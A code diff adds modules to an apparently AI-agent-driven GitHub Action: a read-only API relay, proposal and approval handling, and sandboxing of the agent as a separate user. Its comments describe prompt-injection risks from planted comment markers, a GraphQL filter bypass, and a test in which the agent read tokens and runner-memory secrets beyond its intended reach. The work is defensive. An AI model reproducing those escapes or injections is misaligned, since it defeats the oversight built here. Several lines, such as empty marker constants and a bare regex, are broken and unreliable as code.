Action's process, while the agent's run is going. + */ +import http from "node:http" +import https from "node:https" +import { chmodSync, rmSync } from "node:fs" +import { relayDecision } from "./sandbox-policy.mjs" + +/** The most we read of a request body. GraphQL queries are small. */ +const MAX_BODY = 1024 * 1024 + +/** Headers we never pass on: they belong to this hop, or would reveal ours. */ +const HOP_HEADERS = new Set([ + "connection", + "keep-alive", + "proxy-authorization", + "proxy-connection", + "te", + "trailer", + "transfer-encoding", + "upgrade", + "host", + "authorization", + "content-length", +]) + +/** + * Start the relay on `socketPath`. `token` is the pass added to allowed API + * requests. `log` receives one line per refused request, so a run that + * fails because the agent tried a write says so. + * + * Resolves to { close }. + */ +export function startRelay({ socketPath, token, log = () => {}, forward = forwardRequest }) { + rmSync(socketPath, { force: true }) + const server = http.createServer((req, res) => { + const chunks = [] + let size = 0 + let tooBig = false + req.on("data", (c) => { + size += c.length + if (size > MAX_BODY) { + tooBig = true + req.destroy() + return + } + chunks.push(c) + }) + req.on("end", () => { + if (tooBig) return + const body = Buffer.concat(chunks) + const host = String(req.headers.host ?? "") + const decision = relayDecision({ method: req.method, host, path: req.url, body: body.toString("utf8") }) + if (!decision.allow) { + log(`refused ${req.method} ${host}${String(req.url).split("?")[0]}: ${decision.why}`) + res.writeHead(403, { "content-type": "application/json" }) + res.end(JSON.stringify({ message: `Test Companion's relay refused this request: ${decision.why}` })) + return + } + const headers = {} + for (const [k, v] of Object.entries(req.headers)) { + if (!HOP_HEADERS.has(k.toLowerCase())) headers[k] = v + } + if (decision.auth && token) headers.authorization = `token ${token}` + if (body.length) headers["content-length"] = String(body.length) + forward({ host, method: req.method, path: req.url, headers, body }, res) + }) + req.on("error", () => {}) + }) + return new Promise((resolve, reject) => { + server.once("error", reject) + server.listen(socketPath, () => { + // Reachable by the agent's user. The folder around it is what limits + // who can get to it (see sandbox.mjs). + chmodSync(socketPath, 0o666) + resolve({ + close: () => + new Promise((done) => { + server.close(() => done()) + rmSync(socketPath, { force: true }) + }), + }) + }) + }) +} + +/** Send one checked request to GitHub over HTTPS and stream the answer back. */ +function forwardRequest({ host, method, path, headers, body }, res) { + const [hostname, port] = host.split(":") + const upstream = https.request( + { hostname, port: port ? Number(port) : 443, method, path, headers, timeout: 120_000 }, + (answer) => { + const out = {} + for (const [k, v] of Object.entries(answer.headers)) { + if (!HOP_HEADERS.has(k.toLowerCase()) || k.toLowerCase() === "content-length") out[k] = v + } + res.writeHead(answer.statusCode ?? 502, out) + answer.pipe(res) + }, + ) + upstream.on("timeout", () => upstream.destroy(new Error("timed out"))) + upstream.on("error", (e) => { + if (!res.headersSent) res.writeHead(502, { "content-type": "application/json" }) + res.end(JSON.stringify({ message: `Test Companion's relay could not reach ${host}: ${e.message}` })) + }) + if (body.length) upstream.write(body) + upstream.end() +} diff --git a/test-companion/src/report.mjs b/test-companion/src/report.mjs new file mode 100644 index 0000000..8e86a03 --- /dev/null +++ b/test-companion/src/report.mjs @@ -0,0 +1,871 @@ +/** + * What the run leaves behind. + * + * Only the rendering and the decisions live here, with no network calls, so the + * awkward parts are testable without a runner: whether a preview run is marked + * as one, and whether a second run adds a second comment or edits the first. + * The GitHub calls themselves are a thin layer in main.mjs over `gh`, which is + * preinstalled on every runner and already how this product talks to GitHub. + */ +import { CAPABILITIES, isApprovalOnly } from "./intent.mjs" +import { emojiFor } from "./outcome.mjs" + +/** + * The outcome with its mark in front — never instead of the words, so a reader + * with images off, or a screen reader, still gets the whole outcome. An + * outcome with no mark reads exactly as it did before. + */ +const withMark = (outcome) => { + const mark = emojiFor(outcome) + return mark ? `${mark} ${outcome}` : String(outcome ?? "") +} + +/** + * How a later run finds the comment it wrote earlier: ONE comment, edited in + * place, not a new one per run. An HTML comment so a reader never sees it. + */ +/** + * Is this comment one WE wrote? + * + * "Any bot" is not good enough. Another App on the repository, or + * `github-actions[bot]` driven by any other workflow, could post a comment + * carrying our proposal marker — and a maintainer's `go` would then feed that + * body to a live `--yolo` run as the approved plan. No write access needed, + * just a workflow, and plenty of repositories run one on a fork's pull + * request. + * + * Fails CLOSED: with no login to compare against, nothing is ours. The worst + * case is proposing again; the alternative is running someone else's text. + */ +export const isOurs = (comment, us) => Boolean(us) && comment?.user?.type === "Bot" && comment?.user?.login === us + +export const COMMENT_MARKER = "" + +const previewRun = (summary) => summary?.preview === "true" + +/** + * What the run produced, in the words a reviewer actually wants. + * + * Returns nothing for a run that generates no cases (rca, fix, verdict): a + * row reading "0 generated" on one of those looks like something went wrong. + * + * The case that matters most is cases generated and NONE saved. As a bare + * pair of numbers, "12 generated · 0 saved" reads as success to a skimming + * reader — a run can produce 27 cases, report "Succeeded", and lose them all. + */ +function producedLines(summary, resultArtifact) { + const generated = Number(summary.cases_generated ?? 0) + const saved = Number(summary.cases_saved ?? 0) + if (!generated && !saved) return [] + + const lines = [`**Test cases:** ${generated} generated, ${saved} saved to Test Management.`] + if (saved > 0 && summary.saved_to) { + lines.push(`They are in \`${inertMarkers(summary.saved_to)}\`.`) + } + if (saved < generated) { + lines.push( + saved === 0 + ? "**Nothing was written to Test Management.** Download the result below to keep the cases." + : "Some of them were not saved. Download the result below for the full list.", + ) + } + if (resultArtifact) { + lines.push(`The full list is in the **${resultArtifact}** artifact on this run.`) + } + return [lines.join(" "), ""] +} + +/** + * How many failing tests the report names before it stops. + * + * A suite that loses a hundred tests turns the check into a wall of text + * nobody reads. The first few plus a count is more useful than all of them, + * and every one is still annotated on the diff. + */ +const FAILURES_LISTED = 20 + +/** + * Make text that came from outside safe to put in our own comment. + * + * The answer and the failing-test names are the only parts of the comment + * this Action did not write. On a fork's pull request both are + * attacker-influenceable, and even without malice a log line can contain one + * of our markers — which are HTML comments, so one arriving inside borrowed + * text is read back as our own control data. + * + * Only the OPENING delimiter needs breaking; without it `-->` is three + * characters of prose. `<!--` still renders as `` +} + +/** + * The ONE pattern for a proposal marker. Several readers need it, and when + * there were several patterns they drifted. + * + * Groups: 1 = requester, 2 = workflow. Both optional, so markers written + * before either field existed stay readable. + * + * LITERAL, with the sha captured rather than interpolated. Built per-search + * from the sha, it would have to be regex-escaped or it would quietly match + * OTHER commits — `a.c*d+` also finds `abcccd`, so a plan for one commit + * could be approved against another. Comparing captured text with `===` + * removes the rule instead of restating it. + */ +const MARKER = // + +/** The marker's fields, or undefined when the comment has none. */ +// +// The LAST marker, because ours is always the last line of the comment. The +// plan above it is escaped (renderProposalBody), but if anything ever slips +// through unescaped, the first match would be the planted one, and a planted +// marker can name a different job for `go` to run. +const readMarker = (body) => { + const all = [...String(body ?? "").matchAll(new RegExp(MARKER.source, "g"))] + const found = all.at(-1) + return found ? { sha: found[1], requester: found[2], workflow: found[3] } : undefined +} + +/** + * The commit a check we already posted belongs to. + * + * The "in progress" check goes up BEFORE the CLI runs, on the PULL REQUEST's + * head, so anything finishing the run afterwards has to complete THAT check + * on THAT commit. Reaching for the event's own sha is wrong on a comment run, + * where GITHUB_SHA is the default branch's: the second check lands on main + * and the pull request's stays pending for ever. + */ +export function checkSubjectFor(made, fallbackSha) { + for (const sha of made?.keys?.() ?? []) return sha + return fallbackSha +} + +/** + * Whether the job a proposal names may be run by a `go`. + * + * Only a job this repository has enabled. The name came out of a comment, and + * it goes onto the CLI's command line, so anything else is refused: a job the + * settings never bound, or something shaped like an option (`--config=…`). + * Exact match against the settings' own list does both. + */ +export function isApprovableJob(workflow, enabledWorkflows) { + const job = String(workflow ?? "") + return job !== "" && !job.startsWith("-") && (enabledWorkflows ?? []).includes(job) +} + +/** The proposal comment: what the run would do, and how to let it. */ +export function renderProposal(body, sha, requester, workflow) { + return [ + body, + "", + "Reply **go** to run this for real. Nothing is written until you do. To change the list first, reply **@browserstack go** with your edits. Leave it and it stops being approvable after a day.", + "", + proposalMarkerFor(sha, requester, workflow), + ].join("\n") +} + +/** + * Has the plan for this commit already been used, and how? + * + * Distinguishes "used up" from "proposed against an earlier commit": with + * nothing waiting, the caller would otherwise reach for a superseded proposal + * still in the thread and report the wrong reason. + * + * Returns "approved", "dropped", or undefined when the superseded reading is + * the right one after all. + */ +export function proposalAlreadyUsed(comments, sha, us, workflow) { + const want = String(sha ?? "").trim() + const job = String(workflow ?? "").trim() + // No job asked about means "any plan on this commit", which is what the + // caller wants when the reply named no job either. + const here = spentPlans(comments, us).filter((m) => m.sha === want && (!m.workflow || !job || m.workflow === job)) + if (here.some((m) => m.kind === "consumed")) return "approved" + if (here.some((m) => m.kind === "dropped")) return "dropped" + return undefined +} + +/** + * The proposal waiting on this commit, if there is one. + * + * Only a comment WE wrote counts, for the same reason chooseCommentAction + * checks: otherwise a person quoting our proposal in their reply could approve + * their own request. + * + * Fails CLOSED on an unreadable timestamp — treated as expired, so the worst + * case is a fresh proposal rather than approving one of unknown age. + */ +export function findProposal(comments, sha, now = Date.now(), us, opts = {}) { + // `by=` and `workflow=` are both optional, so proposals written before + // either was recorded stay approvable rather than becoming stuck. + const want = String(sha ?? "").trim() + // Spent, either way round: approved and run, or dropped by `stop` or + // by the sweep. Checked before anything else, so neither a second `go` nor + // the sweep can act on a plan that is already finished with. + // + // PER JOB, not per commit. A plan a + // marker does not name is still waiting, however many OTHER plans on this + // commit have been used up. + const spent = spentPlans(comments, us).filter((m) => m.sha === want) + if (spent.some((m) => !m.workflow)) return undefined + const spentJobs = new Set(spent.map((m) => m.workflow)) + + let ours = (comments ?? []).filter((c) => isOurs(c, us) && readMarker(c.body)?.sha === want) + ours = ours.filter((c) => !spentJobs.has(readMarker(c.body)?.workflow ?? "")) + // `go ` names ONE plan. With two waiting there is otherwise nothing in + // what was typed that picks between them, and the newest wins by default + // fine when there is one, a coin toss when there are two. + const named = String(opts?.id ?? "").trim() + if (named) ours = ours.filter((c) => String(c.id) === named) + if (ours.length === 0) return undefined + const newest = ours.reduce((a, b) => (a.id >= b.id ? a : b)) + const age = now - Date.parse(newest.created_at ?? "") + const mark = readMarker(newest.body) + return { + id: newest.id, + // So the run's own comment can link the plan it carried out. + url: newest.html_url, + expired: !(age <= PROPOSAL_WINDOW_MS), + requester: mark?.requester, + // The job the person actually read and approved. Undefined on a + // proposal written before the marker carried one. + workflow: mark?.workflow, + // The run has to READ the approved plan to carry it out, so the + // body travels with the decision rather than being fetched again. + body: newest.body ?? "", + } +} + +/** + * The plan an approved run must carry out. + * + * A reply of "go" may carry edits to the case list, and the edits win: + * someone looked at the proposal and changed it before approving. + * Handing the run only the original proposal would quietly discard that. + * + * The proposal's own marker is stripped. It is bookkeeping, and leaving it in + * invites the run to read it as an instruction. + */ +/** + * Did the approver change anything, or just say go? + * + * Worth knowing separately from the plan itself: edits made at approval time + * were reviewed by nobody but the approver, and on a self-approved run by + * nobody at all. That combination is reported rather than refused — see + * decideGate — but it cannot be reported if it is not detected. + */ +export function hasApproverEdits(replyText) { + const reply = String(replyText ?? "").trim() + if (!reply) return false + // A bare approval is not an edit, and neither is one that names WHICH plan + // `go `. Presenting either as an edit would have the run looking for + // an instruction nobody gave, and renderApprovedPlan would hand the agent + // the comment id itself under "these win". + return !isApprovalOnly(reply) +} + +export function renderApprovedPlan(proposalBody, replyText) { + const plan = String(proposalBody ?? "") + .replace(//g, "") + .trim() + + const reply = String(replyText ?? "").trim() + const parts = ["# The approved plan", "", plan] + if (hasApproverEdits(reply)) { + parts.push("", "# Changes the approver made", "", reply, "", "Where these differ from the plan above, these win.") + } + return parts.join("\n") +} + +/** + * How a dropped proposal is remembered. + * + * The sweep that drops proposals runs nightly. Without a record, it would post + * a fresh "Action required" check and a fresh comment on the same dead proposal + * every night for as long as the pull request stayed open. + */ +/** + * A proposal has been APPROVED and run. + * + * Without this record the proposal stays "waiting" after it has been carried + * out: a second `go` runs the job again, and the sweep later reports the + * approved plan as unanswered. + * + * Separate from the dropped marker because they are different events and the + * reply text differs, but both mean the same thing here — this plan is spent. + */ +export function proposalConsumedMarkerFor(sha, workflow) { + return `` +} + +export function proposalDroppedMarkerFor(sha, workflow) { + return `` +} + +/** + * The job travels with a spent plan too. + * + * Keyed on the commit alone, one approval would finish off every plan on that + * commit: approving `fix` would leave a waiting `generate` plan unapprovable + * until somebody pushed. + */ +function jobField(workflow) { + const job = String(workflow ?? "").trim() + return job ? ` workflow=${job}` : "" +} + +/** + * Every record in this thread of a plan being finished with, and what for. + * + * ONE pattern matching both kinds, for the same reason MARKER is one. + * + * `workflow=` is absent on markers written before the job was recorded. Those + * mean the whole commit, which is what they meant when written — reading them + * as "no particular job" would let an upgrade re-run work somebody had + * already approved. + */ +const SPENT_MARKER = //g + +function spentPlans(comments, us) { + const out = [] + for (const c of comments ?? []) { + if (!isOurs(c, us)) continue + for (const m of String(c.body ?? "").matchAll(SPENT_MARKER)) { + out.push({ kind: m[1], sha: m[2], workflow: m[3] }) + } + } + return out +} + +/** + * Is there a proposal on this commit that has run out of time and not yet + * been dropped? + * + * An in-progress check is only safe if something is guaranteed to end it. A + * proposal nobody answers would otherwise leave the check on "in progress" + * forever, blocking anyone who made it required. + */ +export function proposalNeedsDropping(comments, sha, now = Date.now(), us) { + // findProposal already leaves out anything dropped or approved, per job, so + // an expired plan coming back from it is by definition one nobody has + // finished with. The separate dropped-marker check this used to do was the + // same question asked twice, and the second asking was commit-wide — which + // is exactly what per-job plans had to stop. + return Boolean(findProposal(comments, sha, now, us)?.expired) +} + +/** + * The items out of a `gh api --paginate --slurp` response. + * + * `--slurp` returns an ARRAY OF PAGES, not a flat array of items, and it wraps + * even when there is only one page. Verified against gh 2.91.0: twelve pages at + * per_page=2, and still `[[...]]` at per_page=100. + * + * Without this, chooseCommentAction is handed an array of arrays, matches + * nothing, returns "create" every time, and every run posts a NEW comment + * the single-comment guarantee in, broken by the fix meant to protect it. + * `--slurp` was added to stop `[...][...]` from failing JSON.parse, which it + * does; the shape it produces instead was the part that got missed. + * + * Objects are not arrays, so flat leaves an already-flat list alone. That + * keeps this correct if gh ever changes its mind. + */ +export function flattenPages(slurped) { + return Array.isArray(slurped) ? slurped.flat() : [] +} + +/** + * The accessibility and visual lines on the check. + * + * Both are silent unless the settings asked for them, and both read their + * numbers from the run's summary file. Those keys — accessibility_new, + * accessibility_total, visual_changes, visual_url — are the contract between + * the run and this report. + * + * A check that was asked for and produced no number says so, rather than + * rendering nothing: an absent line reads as "clean", and claiming a pass for + * a check that never ran is the worst of the three outcomes. + */ +export function renderExtraChecks(summary = {}, { wcag, visual } = {}) { + const lines = [] + const level = String(wcag ?? "").trim() + + if (level) { + const introduced = summary.accessibility_new + if (introduced === undefined) { + lines.push(`**Accessibility (WCAG ${level.toUpperCase()}):** no result reported by this run.`) + } else { + const total = summary.accessibility_total + lines.push( + `**Accessibility (WCAG ${level.toUpperCase()}):** ${introduced} introduced by this change` + + (total === undefined ? "." : `, ${total} on the page in all.`), + ) + } + } + + if (visual) { + const changes = summary.visual_changes + if (changes === undefined) { + lines.push("**Visual:** no result reported by this run.") + } else { + const link = summary.visual_url ? ` ${summary.visual_url}` : "" + lines.push(`**Visual:** ${changes} changes awaiting review.${link}`) + } + } + return lines +} + +/** + * May accessibility turn the check red? + * + * Only when the settings say so, and only for violations THIS CHANGE + * introduced. Failing a pull request for the state of a page it never touched + * is how a gate gets switched off for good, and a gate nobody runs protects + * nothing. + * + * A run that reported no number has not failed: absence is not a violation. + */ +export function accessibilityFailsCheck(summary = {}, { wcag, failOnNew } = {}) { + if (!String(wcag ?? "").trim() || !failOnNew) return false + const introduced = Number(summary.accessibility_new) + return Number.isFinite(introduced) && introduced > 0 +} + +/** + * The body of a proposal. + * + * The first live run posted a proposal containing only a report header. The + * run had designed nine test cases and verified each one by probing the + * implementation; none of it reached the comment, because the proposal was + * only ever handed the job summary. + * + * A proposal with no plan in it cannot be reviewed, which makes approving it + * meaningless — so an absent plan says so out loud rather than rendering a + * confident-looking empty proposal. + */ +export function renderProposalBody({ summary, plan, sizeNote } = {}) { + const parts = [] + // The size warning goes above the list, where it can still change what the + // reviewer approves. + if (String(sizeNote ?? "").trim()) parts.push(sizeNote, "") + // Escaped, both of them. The plan is written by the agent, so it can carry + // a hidden `` that the person approving + // never sees, naming a different job for their `go` to run. + const safeSummary = inertMarkers(String(summary ?? "")) + if (safeSummary.trim()) parts.push(safeSummary, "") + + const body = inertMarkers(String(plan ?? "").trim()) + // The answer is now caught off the run's own output and rendered in the + // summary above, for every job. For the verbs whose result file holds that + // SAME closing text — `test-pr` proposing is one — appending it here + // printed the whole explanation twice. Compared on + // squashed whitespace, because the two copies travel by different routes + // and need not agree on line breaks. + const squash = (t) => + String(t ?? "") + .replace(/\s+/g, " ") + .trim() + const alreadyAbove = body !== "" && squash(safeSummary).includes(squash(body)) + // Only `test-pr` writes a separate plan file. For every other job the + // proposal run is a PREVIEW run — it does the work and writes nothing + // so its report above IS what is being approved. Saying "there is nothing + // here to approve" told the reader to re-run something that had worked. + const noPlan = String(summary ?? "").trim() + ? "_The report above is what this run would do. Nothing has been written._" + : "_This run did not produce a plan — there is nothing here to approve. The run log will say why; re-run once that is fixed._" + parts.push(alreadyAbove ? noPlan : body || noPlan) + return parts.join("\n") +} + +/** + * A proposal on this pull request that a newer commit has left behind. + * + * The marker keys a proposal to a commit, so a new commit silently replaces it. + * That is the right safety behaviour: a plan written against code that has + * since changed must never be carried out. But silence is the wrong way to + * say it. + * + * Observed live on 2026-10-29: someone replied "go" after the branch moved and + * was told "No @test-companion mention, so nothing was asked of Test + * Companion." They had given a valid approval word, and the actual reason was + * sitting in the comment history. + * + * Only our own comments count, so a person quoting the marker cannot + * manufacture one. + */ +export function findSupersededProposal(comments, sha, us) { + const current = String(sha ?? "").trim() + // Same reader as findProposal, so the two cannot drift again. + const stale = (comments ?? []).filter((c) => { + if (!isOurs(c, us)) return false + const found = readMarker(c.body) + return Boolean(found) && found.sha !== current + }) + if (stale.length === 0) return undefined + // Newest wins: with several old plans, the one they most plausibly meant is + // the last one we put up. + const newest = stale.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)) + const found = readMarker(newest.body) + return { sha: found?.sha, requester: found?.requester, id: newest.id } +} + +/** + * Create the "Test Companion" check, or update the one this run already made: + * one check, never neutral. + * + * Every call used to POST. A single run posts up to three times — in progress + * before the work, the result after it, and the catch-all on a crash — so a + * pull request collected two or three checks of the same name, and a proposal + * left ITS in-progress one pending forever because nothing ever completed it. + * That is the "blocked by a check that never arrives" failure the design is + * meant to avoid. + * + * Keyed by commit: a run can legitimately check two (the head early on, and + * whatever the report names later), and those are different checks, not an + * update of one another. + */ +export function checkRequestFor(sha, made) { + const existing = made?.get?.(sha) + return existing ? { method: "PATCH", path: `check-runs/${existing}` } : { method: "POST", path: "check-runs" } +} + +/** + * The check a PREVIOUS run left in progress on this commit, if there is one. + * + * checkRequestFor only knows what THIS process created. The nightly sweep runs + * in a different process with an empty memo, so it posted a fresh "Action + * required" check and left the proposal run's in-progress one pending for the + * life of the branch — the exact "blocked by a check that never arrives" + * failure the sweep exists to prevent. + * + * Only ours, and only one still running: a completed check is already + * answered, and another tool's check is none of our business. + */ +export function inFlightCheckId(checks, checkName = "Test Companion") { + const ours = (checks ?? []).filter((c) => c?.name === checkName && c?.status !== "completed") + if (ours.length === 0) return undefined + // Newest, so a stale one from an older run cannot win. + return ours.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).id +} diff --git a/test-companion/src/runs.mjs b/test-companion/src/runs.mjs new file mode 100644 index 0000000..afa3f1c --- /dev/null +++ b/test-companion/src/runs.mjs @@ -0,0 +1,96 @@ +/** + * Which runs a closed pull request should end. + * + * Pure, and separated from the `gh` calls in main.mjs so it can be tested + * without staging a live run. + * + * Two cases that are silent when they go wrong: + * + * - The run doing the cancelling is ITSELF in flight on that commit. Cancel + * it and the job disappears mid-reply, telling the person nothing. + * - Cancelling means cancelling Test Companion, never the repository's own + * build. A comment must not become a way to stop someone else's CI. + */ + +/** A run GitHub has not finished with yet. */ +const IN_FLIGHT = new Set(["queued", "in_progress", "waiting", "requested", "pending"]) + +/** + * The ids to cancel. + * + * `selfRunId` is GITHUB_RUN_ID, which arrives as a string while the API returns + * a number — compared as strings so the two always meet. + * + * `workflowName` is optional: without it we cannot tell our runs from the + * repository's, so the commit match is all that narrows the list. Pass it + * whenever it is known. + */ +export function chooseRunsToCancel(runs, { selfRunId, headSha, workflowName } = {}) { + return (runs ?? []) + .filter((r) => r && IN_FLIGHT.has(r.status)) + .filter((r) => String(r.id) !== String(selfRunId)) + .filter((r) => !headSha || r.head_sha === headSha) + .filter((r) => !workflowName || r.name === workflowName) + .map((r) => r.id) +} + +/** + * Our in-flight run ids, from the check runs on a commit. + * + * Neither obvious route works. `actions/runs?head_sha=` misses every time, + * because a run started by an issue_comment carries the DEFAULT BRANCH's sha. + * A run's own `pull_requests` field reports the pull request whose head is the + * checked-out branch, which is a different pull request. + * + * The check run is the handle that holds: posted on the pull request's own + * head commit, carrying the run id in `external_id`, and written by nothing + * else under this name. + * + * `selfRunId` is GITHUB_RUN_ID, a string here and a number from the API, so + * both sides are compared as strings. + */ +export function runIdsFromChecks(checks, { selfRunId, checkName = "Test Companion" } = {}) { + const ids = new Set() + for (const c of checks ?? []) { + if (!c || c.name !== checkName) continue + if (!IN_FLIGHT.has(c.status)) continue + const id = String(c.external_id ?? "").trim() + // No id means we cannot say WHICH run this check belongs to, and + // cancelling a guess is worse than cancelling nothing. + if (!id) continue + if (id === String(selfRunId)) continue + ids.add(id) + } + return [...ids] +} + +/** Conclusions a person reads as "this build is red". */ +const RED = new Set(["failure", "cancelled", "timed_out", "startup_failure"]) + +/** + * The build a comment means by "the failure" — the newest red run on this + * commit, or nothing. + * + * `rca`, `fix` and `verdict` all need to know WHICH build failed. A + * build_failed trigger hands us the run; a comment does not, so it is found + * here. + * + * Returns the run's own URL, the shape `--build` and `--run` accept + * (`https://github.com///actions/runs/`). + * + * Two runs are never the answer: ours, because explaining our own failure is + * a mirror rather than an answer, and the one asking, which has not finished. + */ +export function latestFailedRun(runs, { selfRunId, selfWorkflowName } = {}) { + const red = (runs ?? []).filter( + (r) => + r && + r.status === "completed" && + RED.has(r.conclusion) && + r.html_url && + String(r.id) !== String(selfRunId) && + (!selfWorkflowName || r.name !== selfWorkflowName), + ) + if (red.length === 0) return undefined + return red.reduce((a, b) => ((a.id ?? 0) >= (b.id ?? 0) ? a : b)).html_url +} diff --git a/test-companion/src/sandbox-policy.mjs b/test-companion/src/sandbox-policy.mjs new file mode 100644 index 0000000..5a05460 --- /dev/null +++ b/test-companion/src/sandbox-policy.mjs @@ -0,0 +1,372 @@ +/** + * The rules for running the agent as a separate, locked-down user. + * + * Why this exists. The agent runs shell commands it chooses, and anything in + * the pull request, the build logs or the app can try to steer it. On a + * GitHub-hosted runner it used to run as the same user as this Action, and a + * test on a real runner showed what that means: + * + * - any program can read the startup environment of another program run by + * the same user, so the agent could read the token and the App key out of + * this Action's own process, even though we never passed them to it; + * - the job's user has admin rights with no password, and with them the + * agent found secrets in the memory of the runner's own worker process. + * + * Running it as a different user with no admin rights closes both: Linux + * does not let one user read another's processes or private files. + * + * Everything here is a pure function. The commands that act on the machine + * live in sandbox.mjs. + */ + +/** The locked-down user the agent runs as. */ +export const AGENT_USER = "tc-agent" + +/** + * Where the agent works. Outside every home folder on purpose: the runner's + * home holds the job's temp files, gh's signed-in config and the runner's own + * credentials, so the agent is never given a way into it. + * + * - `work` is the checked-out repository, mounted here so the agent never + * needs to walk through the runner's home to reach it. + * - `in` holds files we hand the agent (the settings, an approved plan). + * Ours; the agent can only read it. + * - `out` holds the files the agent's run writes for us (the report, the + * result, a pull request to open). The agent's; we read it carefully. + * - `relay` holds the socket the agent's `gh` talks to. + * - `tmp` is the agent's own temp folder. + */ +export function sandboxLayout(root = "/var/tmp/tc-agent", home = `/home/${AGENT_USER}`) { + return { + root, + home, + work: `${root}/work`, + in: `${root}/in`, + out: `${root}/out`, + relay: `${root}/relay`, + socket: `${root}/relay/gh.sock`, + tmp: `${root}/tmp`, + bin: `${home}/.local/bin`, + ghConfig: `${home}/.config/gh`, + } +} + +/** + * The environment the agent's run gets: the usual allowlisted one, pointed at + * the agent's own folders instead of ours. + * + * GH_CONFIG_DIR is the important override. Ours holds a real token; the + * agent's holds a placeholder and the relay socket, so its `gh` reads work + * and it never sees a pass. RUNNER_TEMP and TMPDIR are moved because ours are + * inside the runner's home, which the agent cannot reach. + */ +export function agentEnvFrom(childEnv, layout, extra = {}) { + const env = { ...childEnv } + env.HOME = layout.home + env.USER = AGENT_USER + env.LOGNAME = AGENT_USER + env.GH_CONFIG_DIR = layout.ghConfig + env.RUNNER_TEMP = layout.tmp + env.TMPDIR = layout.tmp + // The agent's own bin first: that is where its copy of the CLI lives. The + // rest of PATH is kept for the customer's toolchain (setup-node, Java, + // Python and so on install under /opt, which every user can read). + env.PATH = [layout.bin, ...String(childEnv.PATH ?? "/usr/bin:/bin").split(":").filter((p) => p && p !== layout.bin)].join(":") + env.GH_NO_UPDATE_NOTIFIER = "1" + env.GH_PROMPT_DISABLED = "1" + return { ...env, ...extra } +} + +/** + * The command that runs `command args` as the agent user. + * + * `setpriv` swaps to the agent's user and group and drops every other group, + * so nothing of the runner's identity comes along. `--reset-env` and `env -i` + * start from an empty environment. `env -C` moves into the mounted checkout. + * + * The environment itself is NOT on this command line. sudo writes the command + * line it runs to the machine's log, and on a self-hosted runner that log + * outlives the job, so the BrowserStack key would sit in it. Instead the + * launcher reads the environment from `envFile` (readable only by the agent's + * user), deletes it, and starts the command with it. + */ +export function asAgentCommand({ node, launcher, envFile, cwd, command, args }) { + return { + command: "/usr/bin/sudo", + args: [ + "-n", + "setpriv", + `--reuid=${AGENT_USER}`, + `--regid=${AGENT_USER}`, + "--init-groups", + "--reset-env", + "--", + "env", + "-i", + "-C", + cwd, + "PATH=/usr/bin:/bin", + node, + launcher, + envFile, + command, + ...args, + ], + } +} + +/** + * The launcher asAgentCommand runs: read the environment, delete its file, + * start the command with it, and pass its exit code back. Output is + * inherited, so the run's live log and answer capture work unchanged. + */ +export const LAUNCHER_SOURCE = `import { readFileSync, rmSync } from "node:fs" +import { spawn } from "node:child_process" +const [envFile, command, ...args] = process.argv.slice(2) +const env = JSON.parse(readFileSync(envFile, "utf8")) +rmSync(envFile, { force: true }) +const child = spawn(command, args, { stdio: "inherit", env }) +for (const s of ["SIGINT", "SIGTERM"]) process.on(s, () => child.kill(s)) +child.on("error", () => process.exit(127)) +child.on("exit", (code, signal) => process.exit(code ?? (signal ? 1 : 0))) +` + +/** + * Whether the relay passes a request from the agent's `gh` on to GitHub. + * + * Reads only. Everything the agent legitimately needs from GitHub is a read: + * a failed run's logs and artifacts, earlier runs, a pull request's details + * and diff. Every write the run needs is done by this Action itself, after + * the run, with checks the agent cannot skip. + * + * - GET and HEAD to the API are allowed. The pass the relay adds is scoped to + * this one repository, so the agent cannot read anyone else's code through + * it either. + * - POST is allowed only to /graphql, and only for a query. gh reads pull + * requests through GraphQL, and GraphQL sends reads and writes the same way, + * so the body decides. + * - GET to any other host is allowed WITHOUT the pass. Log and artifact + * downloads redirect to storage hosts with their own signed URLs, and + * gh sends the redirect through the relay too. The agent can reach the + * internet anyway, so passing these on gives it nothing new. + * - Everything else is refused. + */ +export function relayDecision({ method, host, path, body }) { + const m = String(method ?? "").toUpperCase() + const h = String(host ?? "") + .toLowerCase() + .replace(/:443$/, "") + const p = String(path ?? "") + const api = h === "api.github.com" + if (!p.startsWith("/")) return { allow: false, why: "a path must start with /" } + // GraphQL only ever goes through the POST check below. A GET to /graphql + // would carry its query in the URL, past that check. + if (api && /^\/graphql(\/|\?|$)/.test(p) && m !== "POST") return { allow: false, why: "GraphQL is only passed on as a checked POST" } + if (api && (m === "GET" || m === "HEAD")) return { allow: true, auth: true } + if (api && m === "POST" && (p === "/graphql" || p.startsWith("/graphql?"))) { + return isReadOnlyGraphql(body) + ? { allow: true, auth: true } + : { allow: false, why: "only GraphQL queries are passed on, never mutations" } + } + if (!api && h && (m === "GET" || m === "HEAD")) { + // Never github.com itself: with a pass that would be the web UI, and + // without one there is nothing there the run needs. + if (h === "github.com" || h.endsWith(".github.com")) { + return { allow: false, why: `${h} is not passed on` } + } + return { allow: true, auth: false } + } + return { allow: false, why: `${m} to ${h || "an unknown host"} is not passed on` } +} + +/** + * Whether a GraphQL request body only reads. + * + * A GraphQL document is a list of operations. Each starts with `query`, + * `mutation` or `subscription`, or with `{` (shorthand for a query), and may + * also hold `fragment` definitions. + * + * The document is read ONCE, left to right, the way GraphQL itself reads it: + * a `#` starts a comment only outside a string, and a `"` starts a string only + * outside a comment. Removing strings and comments in two separate passes gets + * this wrong: a `"` inside a comment then looks like the start of a string, + * swallows the next line, and hides a mutation written there. That bypass was + * found in review. + * + * Two independent checks then have to agree it is a read: + * - no `mutation` or `subscription` keyword appears anywhere outside strings + * and comments, at any depth; + * - every top-level definition starts with `query`, `fragment` or `{`. + * + * Anything we cannot read cleanly counts as a write. + */ +export function isReadOnlyGraphql(body) { + let doc + try { + const parsed = JSON.parse(String(body ?? "")) + // A batch of several requests in one body: every one must be a query. + if (Array.isArray(parsed)) return parsed.length > 0 && parsed.every((one) => isReadOnlyGraphql(JSON.stringify(one))) + doc = parsed?.query + } catch { + return false + } + if (typeof doc !== "string" || doc.trim() === "") return false + const tokens = graphqlTokens(doc) + if (!tokens) return false + + if (tokens.some((t) => t === "mutation" || t === "subscription")) return false + + let depth = 0 + // Whether the next top-level token starts a new definition. + let expectDefinition = true + for (const t of tokens) { + if (t === "{") { + if (depth === 0 && expectDefinition) expectDefinition = false + depth++ + continue + } + if (t === "}") { + depth-- + if (depth < 0) return false + if (depth === 0) expectDefinition = true + continue + } + if (depth === 0 && expectDefinition) { + if (t !== "query" && t !== 